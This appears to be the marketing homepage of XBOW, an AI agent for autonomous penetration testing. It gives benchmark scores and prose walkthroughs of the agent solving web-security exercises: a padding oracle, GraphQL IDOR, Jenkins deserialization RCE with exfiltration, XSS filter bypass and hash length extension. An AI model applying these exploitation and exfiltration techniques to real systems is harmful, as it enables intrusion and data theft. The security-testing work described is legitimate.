XBOW uncovers a critical CVE in an open-source Q&A platform Read more
XBOW Logo

Boosting offensive security with AI

XBOW autonomously finds and exploits vulnerabilities in 75% of web benchmarks

195 / 261

​

PortSwigger Labs

solved
204 / 282

​

PentesterLab Exercises

solved
88 / 104

​

Novel Benchmarks

solved

See XBOW at work

XBOW pursues high-level goals by executing commands and reviewing their output, without any human intervention.

These are real examples of XBOW solving benchmarks. The only guidance provided to XBOW, aside from general instructions that are identical for every task, is the benchmark description. If you'd like to see all the data, click here.

Breaking a Cryptographic CAPTCHA with a CBC Padding Oracle

Don't roll your own crypto—or XBOW might break it. This trace shows XBOW pulling off a classic Padding Oracle attack on an AES-CBC implementation in the novel XBOW benchmark "Bad Captcha". By manipulating the authentication cookie used by the app, XBOW is able to decrypt the secret one byte at a time and use it to register a new user.

  1. XBOW begins by verifying the presence of the CAPTCHA cookie and understanding its structure, guessing from the size (256-bit) that it may use AES

  2. XBOW begins its attempt to implement an attack to decrypt the cookie, refining its code and debugging issues it encounters

  3. One of its attempts reveals that the server responds with Invalid padding rather than Invalid CAPTCHA in some cases—a crucial feature of a padding oracle vulnerability

  4. After noticing that some cookie values trigger a 500 Internal Server Error, XBOW explores possible non-cryptographic attacks like SSTI

  5. XBOW decides to execute a full CBC padding attack, and successfully decrypts the CAPTCHA cookie, but is unable to modify it to bypass authentication

  6. It realizes that the attack needs to target the CAPTCHA input (rather than modifying the cookie), and uses the decrypted cookie to create a new user and obtain the flag

Exploiting Insecure Direct Object Reference (IDOR) in a GraphQL API

Even when we entirely removed the benchmark description provided by its author, XBOW still solved this novel benchmark. From nothing but a login page, it guesses a valid username and password, analyzes the code of the prescription management app, and uses GraphQL introspection queries to view the prescriptions of all users on the site—finding one that holds the flag.

  1. After basic reconnaissance on the login page, XBOW guesses likely usernames and passwords and gains authenticated access

  2. Once inside, it scans for likely endpoints, and finds two interesting targets: /add_prescription and /view_prescriptions

  3. It turns its attention to analyzing the client-side JavaScript, and finds a /graphql endpoint that includes a flag field

  4. XBOW uses GraphQL introspection to understand the API schema, discovering a getPrescriptions query type; from the presence of a userId parameter it surmises that the app may be vulnerable to Insecure Direct Object Reference (IDOR)

  5. With this knowledge, it enumerates the prescriptions for other user IDs, exploiting the IDOR vulnerability and capturing the flag

Debugging, Testing, and Refining a Jenkins Remote Code Execution Exploit

After a benchmark bug made this "Medium" difficulty PentesterLab exercise much more difficult than intended, XBOW beats the odds by debugging not only its own code but the compromised server as well. Its final solution—a Python program that exploits XML deserialization to deploy an embedded bash script, stealing secrets from running processes' command lines—is a thing of beauty.

  1. XBOW checks for public exploits using searchsploit, but ultimately opts to write its own code to exploit the issue

  2. When its initial attempts don't succeed, XBOW shows heroic perseverance in the face of very long Java stack traces, using the server's error messages to identify and fix issues

  3. After extensive debugging, XBOW determines the correct format expected by the server, and successfully submits a malicious job that will run /usr/local/bin/exfiltrate on the server to exfiltrate the flag–but does not receive the flag due to a missing environment variable in the benchmark setup

  4. Undeterred, XBOW uses its newfound ability to remotely execute code to debug the server environment itself

  5. By launching the exfiltration binary in the background and monitoring activity on the server, it spots the flag in the output of ps, allowing it to solve the benchmark

Bypassing Filters and Exploiting Complex Cross-Site Scripting (XSS)

In this novel XBOW benchmark, XBOW detects one of the OWASP Top 10 most common vulnerabilities: Cross-Site Scripting (XSS). By hacking its way through a thicket of security filters, XBOW is able to find a bypass and exploit the XSS by using HTML entities encoding.

  1. XBOW starts analyzing the application, examining the HTML of the main page and identifying an /xss20 endpoint

  2. Based on the benchmark description, XBOW looks for potential XSS vulnerabilities and identifies a vulnerable parameter name

  3. It detects that multiple characters are filtered by the application, making it difficult to craft a valid payload. XBOW tries to circumvent the protection with url-encoded characters to bypass server-side filtering

  4. XBOW realizes that the XSS filter appears to be checking for specific characters rather than using a comprehensive sanitization approach

  5. After systematically attempting different techniques, XBOW decides to try HTML Entities encoding and successfully bypasses the filter to complete the benchmark

Writing a Customized SHA-256 Implementation for a Hash Length Extension Attack

To solve this PentesterLab "Hard" exercise (completed by only 649 human users on the site), XBOW writes its own implementation of SHA-256 from scratch and uses it to build a directory traversal payload with a forged signature using a hash extension attack—all without access to the tutorial given to human solvers.

  1. XBOW first fetches the provided Ruby source code for the app, and learns from reading it that the app's /getfile endpoint can be used to read arbitrary files—but only if accompanied by a valid SHA-256 signature

  2. Recognizing that it needs to execute a hash extension attack, XBOW attempts to install hash_extender, but finds that it is not available through apt

  3. It also tries to implement the attack using Python's standard hashlib library, but finds that its API does not offer sufficient control over the internal SHA-256 state variable it needs to manipulate

  4. After another unsuccessful attempt to obtain and use a third-party tool, XBOW decides to write its own SHA-256 implementation from scratch

  5. Its implementation of SHA-256 is correct, but its initial attempts to forge a signature and sign a payload that obtains the flag using directory traversal do not work

  6. After debugging the issue and hypothesizing that its earlier mistake was due to missing URL encoding, XBOW writes a Python script to retry the attack with a variety of key lengths—and succeeds on its next try

Team

Security, AI, and Engineering

Jordan McTaggart

Jordan McTaggart

Finance and Operations

Linkedin • X

Blog

Updates and opinions from the team

November 13, 2024  -  By Nico Waisman and Brendan Dolan-Gavitt

How XBOW found a Scoold authentication bypass

As we shift our focus from benchmarks to real world applications, we will be sharing some of the most interesting vulnerabilities XBOW has found in real-world, open-source targets. The first of these is an authentication bypass in Scoold, a popular open-source Q&A platform.

Read post

September 11, 2024  -  By Nico Waisman

XBOW validation benchmarks: show me the numbers!

XBOW is currently making 104 benchmarks available to the public. This allows other security products, tools, and researchers to use and explore these benchmarks.

Read post

August 5, 2024  -  By Oege de Moor

XBOW now matches the capabilities of a top human pentester

Five professional pentesters were asked to find and exploit the vulnerabilities in 104 realistic web security benchmarks. The most senior of them, with over twenty years of experience, solved 85% during 40 hours, while others scored 59% or less. XBOW also scored 85%, doing so in 28 minutes. This illustrates how XBOW can boost offensive security teams, freeing them to focus on the most interesting and challenging parts of their job.

Read post

Frequently asked questions

Benchmarks

What do you consider a “benchmark”?

A benchmark is a realistic exercise in web security, with a crisp success criterion like capturing a flag. Many challenges in CTF contests do not qualify because they are brainteasers rather than reflecting a realistic web security scenario.

Where did XBOW get its collection of benchmarks?

XBOW’s benchmarks have been carefully selected for relevance and breadth by its security experts. Sources include leading vendors of training materials, such as PortSwigger and PentesterLab, and public CTF competitions. Some benchmarks have been authored specifically for XBOW, so we can be sure they do not occur in any training sets.

The original PortSwigger labs do not have flags — why do the traces shown for these benchmarks include a flag?

The PortSwigger labs detect automatically whether you have solved the lab or not. However, we wanted all benchmarks to have the same crisp success criterion which can be checked by our infrastructure. So we introduced a flag and a mechanism for returning it.

Could you provide more information about the novel XBOW benchmarks?

XBOW’s security experts designed a set of unique web benchmarks to ensure that solutions were never included in any training data. The benchmarks are representative of many vulnerability classes, and varying degrees of difficulty.

Will the novel XBOW benchmarks be released?

Yes. The novel XBOW benchmarks will be open-sourced soon. We hope others will join us in using these benchmarks to set a new standard for the evaluation of security tools.

How many benchmarks does XBOW have?

XBOW has collected a corpus of thousands of benchmarks, both for the purpose of evaluating performance, and for improving performance.

Where can I find more details about the benchmarks that XBOW solved?

We provide more details to back up the results reported on this website. See here for the benchmarks that were attempted, and which were solved.

Technology

How does the AI inside XBOW work?

It is an example of ‘agentic AI’. We use many standard techniques, but also plenty of proprietary innovations. Aside from general guidance that is identical for every task, the only directions given to XBOW are the basic benchmark description.

As a growing startup, this intellectual property is our main asset, so we cannot share the details.

Are the example traces shown edited?

The AI reasoning and command outputs shown in our example traces have not been edited in any way (e.g., wrapped lines are still present). We have withheld the general guidance (“prompts”) to protect XBOW’s proprietary technology.

Can XBOW find and exploit vulnerabilities without providing descriptions or without having “flags” as a goal?

Yes, we have run experiments by blanking out the descriptions and that works fine. Without flags as a goal, XBOW decides on its own when it has finished. You can prompt it to be more or less aggressive - for example, when it discovers a SQL injection, it can (after approval from a human operator) continue to exfiltrate valuable data from the database, or just stop and report the core problem.

Is XBOW useful for everyone or does it require any sort of specific knowledge?

XBOW is useful for anyone looking to improve the security of their web applications. You don’t need to be a security or AI expert to use it—a lot of deep security knowledge is baked into the XBOW product. This is the magic of our team, combining such security expertise with AI and engineering skills.

Responsible AI

How will you ensure your technology won't be misused?

We will only make our technology available to trusted customers in the cloud. It is not possible to run XBOW as a standalone application outside our control.

Join the waitlist

Join the waitlist

Be the first to know when we launch

By signing up to the waitlist, you agree to let us contact you with announcements about our technology, and you certify that you are over the age of 16.